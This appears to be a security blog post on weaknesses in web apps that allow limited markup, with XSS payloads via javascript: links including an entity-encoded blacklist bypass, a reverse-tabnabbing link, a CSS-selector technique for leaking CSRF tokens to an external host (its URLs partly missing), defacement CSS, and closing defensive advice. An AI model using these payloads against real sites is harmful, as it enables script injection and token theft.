Skip to main content

Limited features. Big vulnerabilities? Web applications might seem straightforward, but stripped-down code can create hidden weaknesses. Web applications that support limited markup in fields, such as comments, utilize a simplified version of markup languages to enable users to format their text without providing them with full control over the entire HTML structure. This limited markup approach strikes a balance between allowing some degree of formatting and preventing users from potentially injecting harmful or malicious code.

The markup is usually limited to the following types of tags:

  • Headings
  • Paragraphs
  • lists
  • Images
  • Styling tags like underlining, italic, bold, etc

Allowing HTML tags like the script, iframe, object, embed, event handlers, etc can lead to arbitrary Javascript execution leading to vulnerabilities like Cross-Site Scripting(XSS) and information exposure. Despite excluding all the tags that could be utilized to trigger an XSS it is still possible to trigger an XSS, expose sensitive information, or cause unavailability of the application.

Considering you have avoided all malicious tags that could lead to XSS and blocked all event handlers and malicious patterns. In this blog, I want to discuss some of the pitfalls of implementing this limited markup support in web applications.

  1. Using hyperlinks to inject arbitrary links to the web page
  2. Using style tags to inject arbitrary Style overriding the existing styles on the page
  3. Using inline CSS to cause unavailability of features

When applications support using hyperlinks, an attacker can do a lot of things some of them being below. javascript the scheme is supported by all modern browsers which is used to execute JavaScript script. Allowing users to inject arbitrary links can lead to straightforward XSS vulnerability. Some of the examples are below:

Consider the injection point in the example below: The user input directly sites inside the “a” tag on the page without any filtering.

<a href="<injection>">Download Now</a>

By Injection the payload javascript:confirm(1) in the injection point, it’s possible to execute the confirm(1) javascript. The final HTML looks something like the one below.

<a href="javascript:confirm(1)">Download Now</a>

One common mistake that the developer might make is to check for the presence of a keyword https:// in the user input to potentially detect the presence of unwanted validation if the user-submitted input is a URL. Due to bad URL validation, it’s again possible to bypass this kind of check by following the payload.

<a href="javascript:confirm(1);//">Download Now</a>

If a blacklist-based approach is used, for example, blocking all user inputs when there is a keyword javascript may also fail since it’s possible to possible to use HTML encoding like below. In this case, we have used the keyword java&#115;&#99;ript instead of javascript which is understandable by the browsers.

<a href=”java&#115;&#99;ript:confirm(1);">Download Now</a>

Ensuring the URL is validated as per the RFC or using standard validators can be effective in this scenario.

On the other hand, it’s also possible for certain kinds of other attacks and social engineering activities by abusing the link injections on the webpage. Some of the attacks are below:

  1. Reverse Tabnabbing: When the link is injected into a hyperlink with an attribute target=_blank, the user is redirected to a new tab while loading the link. The newly loaded link carries a reference to the parent tab and can be redirected to an arbitrary page.
<a href="https://badpageforvictim/" target="_blank">Download Now</a>

This can be avoided by adding no-referrer to the hyperlinks.

source: security intelligence

  1. Redirecting victims to arbitrary pages: It’s possible to redirect the victims to fake login pages asking to reauthenticate exfiltrating their credentials for the application.

Using style tags to inject arbitrary Style overriding the existing styles on the page:

In some instances, the application support use of <style> tags to inject some CSS into the page. This can be exploited in the following ways having various impacts from account takeovers to Client-side DOS of the application. In this case, we have a successful injection point inside the <style> tags or has the ability to inject <style> tags itself.



<div class="random-class">
INJECTION POINT // <style> tags are allowed here

Exfilterating Sensitive Information By importing external CSS files:

CSS supports importing external CSS files using the @import rule. The following shows an example of importing an external CSS file at on the current page.

@import url("");

This feature can be abused along with CSS query selectors to exfiltrate arbitrary HTML content on the page. In most instances, it is interesting to exfiltrate the CSRF token using this technique using which one can simply perform a CSRF attack on the targeted user.

background-image: url(;

The regex-based query selector in CSS tries to find if there are any input tag with value started with the letter aand if such a tag exists, the arbitrary URL is loaded as the background image. The attacker would get a pingback on the endpoint exfil/a indicating the CSRF token value starts with a letter.

This can be done all at once by injecting multiple regex selectors in the <style> tag like the example below.

background-image: url(;

background-image: url(;
background-image: url(;

The original form on the page:

  <form action="/Update.action" method="post">
<input type="hidden" name="csrftoken" value="4e4d6c332b6fe62a63afe56171fd3725">

Based on the pingback received, the CSRF token is easily exfiltrated by the attacker. The same technique can be used to exfiltrate Credit card, and PII information on the page. There is one nice tool using which the whole of the attack can be automated

It’s possible sometimes, the import rule is blocked or strict length limitations making this sort of exfiltration difficult. In such cases, the CSS injection can still have adverse effects on the web application. The following is an example where, it’s possible entirely deface the application by injecting something like below.

* {
color: white !important;
background-color: white !important;
border-color: white !important;

This would force the whole page go white color. Notice the !important tag here which is responsible for the priority of CSS rules. This comes in handy when you want to override the existing rules and prefer the injected rules rather than the default ones.

Along with this, we can inject a simple h1 tag with arbitrary content we want to show on the page.

Original page

The text is just selected to show it’s still there, but only the text is actually visible.

We can be as creative as possible with the CSS injection to highlight the impact. Another such instance is to replace the “Delete” icon with “Edit” text. Considering there is a delete icon with the class “delete-icon”. The following CSS would add the text “Edit🗑️”.

.delete-icon::before {
content: "Edit";
display: inline-block;
background-color: #f0f0f0;
padding: 5px;
border-radius: 5px;

Using Inline CSS

This is a case, wherein the style tags and all other malicious tags are blocked. In this, we would be limited to CSS rules of style the attribute of injected tags.

<h1 style="CSS INJECTION">Heading Here</h1>

In this case, the only attack vector is to inject arbitrary content that can overflow making the functionality unusable. This is considered a very limited impact. Some examples are given below:

<h1 style="font-size: 800px">Dummy text</h1>

This would write the content with 800px which is too big for any kind of screen and potentially overflows and makes the functionalities unusable.


Despite the efforts of developers to protect the limited markup feature from various attacks, it’s still possible to perform this kind of nasty attack that could lead to the exposure of information or at the least cause problems for application users. If you are a developer trying to face a similar issue. I would recommend considering the following:

  • Use standard validators that are based on RFC rather than some random regex-based or pattern-based filter to filter URLs.
  • Use popularly known markup/markdown editors over unpopular and unmaintained ones.
  • Never go for the blacklisting approach as there is always scope to get potential for bypass.
  • Use well-established client-side protection libraries if markup support is required.
  • Continuously monitor the libraries used for any new vulnerabilities and keep them updated.


The following are some good reads and more detailed exploitation steps.

Shiva Krishna Samireddy

Head of Research Strobes

Close Menu